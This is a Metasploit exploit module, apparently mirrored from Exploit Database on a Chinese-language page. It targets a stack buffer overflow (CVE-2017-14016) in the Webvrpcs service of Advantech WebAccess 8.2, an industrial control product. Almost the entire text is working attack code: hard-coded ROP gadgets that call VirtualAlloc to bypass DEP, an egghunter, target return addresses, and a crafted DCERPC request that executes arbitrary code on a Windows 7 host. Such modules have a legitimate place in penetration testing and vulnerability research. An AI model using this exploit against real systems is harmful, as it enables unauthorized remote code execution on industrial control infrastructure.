Advantech WebAccess 8.2-2017.03.31 – Webvrpcs Service Opcode 80061 Stack Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2017-12-14
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43340/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = GoodRanking
  
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Egghunter
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack buffer overflow in Advantech WebAccess 8.2.
  By sending a specially crafted DCERPC request, an attacker could overflow
  the buffer and execute arbitrary code.
  },
  'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'ZDI', '17-938' ],
  [ 'CVE', '2017-14016' ],
  [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]
  ],
  'Privileged' => true,
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'thread',
  },
  'Payload'=>
  {
  'Space'=> 2048,
  'BadChars' => "\x00",
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',
  {
  'Ret' => 0x07036cdc,# pop ebx; add esp, 994; retn 0x14
  'Slide' => 0x07048f5b,# retn
  'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04
  }
  ],
  ],
  'DisclosureDate' => 'Nov 02 2017',
  'DefaultTarget'=> 0))
  register_options([ Opt::RPORT(4592)])
  end
  
  def create_rop_chain()
  
  # this target opts into dep
  rop_gadgets =
  [
  0x020214c6,# POP EAX # RETN [BwKrlAPI.dll]
  0x0203a134,# ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]
  0x02032fb4,# MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]
  0x070738ee,# XCHG EAX,ESI # RETN [BwPAlarm.dll]
  0x0201a646,# POP EBP # RETN [BwKrlAPI.dll]
  0x07024822,# & push esp # ret[BwPAlarm.dll]
  0x070442dd,# POP EAX # RETN [BwPAlarm.dll]
  0xffffffff,# Value to negate, will become 0x00000001
  0x070467d2,# NEG EAX # RETN [BwPAlarm.dll]
  0x0704de61,# PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]
  rand_text_alpha(4).unpack('V'),
  rand_text_alpha(4).unpack('V'),
  rand_text_alpha(4).unpack('V'),
  0x02030af7,# POP EAX # RETN [BwKrlAPI.dll]
  0xfbdbcbd5,# put delta into eax (-> put 0x00001000 into edx)
  0x02029003,# ADD EAX,424442B # RETN [BwKrlAPI.dll]
  0x0201234a,# XCHG EAX,EDX # RETN [BwKrlAPI.dll]
  0x07078df5,# POP EAX # RETN [BwPAlarm.dll]
  0xffffffc0,# Value to negate, will become 0x00000040
  0x070467d2,# NEG EAX # RETN [BwPAlarm.dll]
  0x07011e60,# PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]
  0x0706fe66,# POP EDI # RETN [BwPAlarm.dll]
  rand_text_alpha(4).unpack('V'),
  rand_text_alpha(4).unpack('V'),
  0x0703d825,# RETN (ROP NOP) [BwPAlarm.dll]
  0x0202ca65,# POP EAX # RETN [BwKrlAPI.dll]
  0x90909090,# nop
  0x07048f5a,# PUSHAD # RETN [BwPAlarm.dll]
  ].flatten.pack("V*")
  return rop_gadgets
  end
  
  def exploit
  connect
  handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  print_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")
  
  # send the request to get the handle
  resp = dcerpc.call(0x4, [0x02000000].pack('V'))
  handle = resp.last(4).unpack('V').first
  print_good("Got a handle: 0x%08x" % handle)
  egg_options = { :eggtag => "0day" }
  egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)
  
  # apparently this is called a ret chain
  overflow= [target['Slide']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << [target['Jmp']].pack('V')
  overflow << [target['Ret']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << [target['Slide']].pack('V')
  overflow << create_rop_chain()
  overflow << egghunter
  overflow << egg
  overflow << rand_text_alpha(0x1000-overflow.length)
  
  # sorry but I dont like msf's ndr class.
  sploit= [handle].pack('V')
  sploit << [0x000138bd].pack('V')# opcode we are attacking
  sploit << [0x00001000].pack('V')# size to copy
  sploit << [0x00001000].pack('V')# size of string
  sploit << overflow
  print_status("Trying target #{target.name}...")
  begin
  dcerpc_call(0x1, sploit)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  ensure
  disconnect
  end
  handler
  end
  end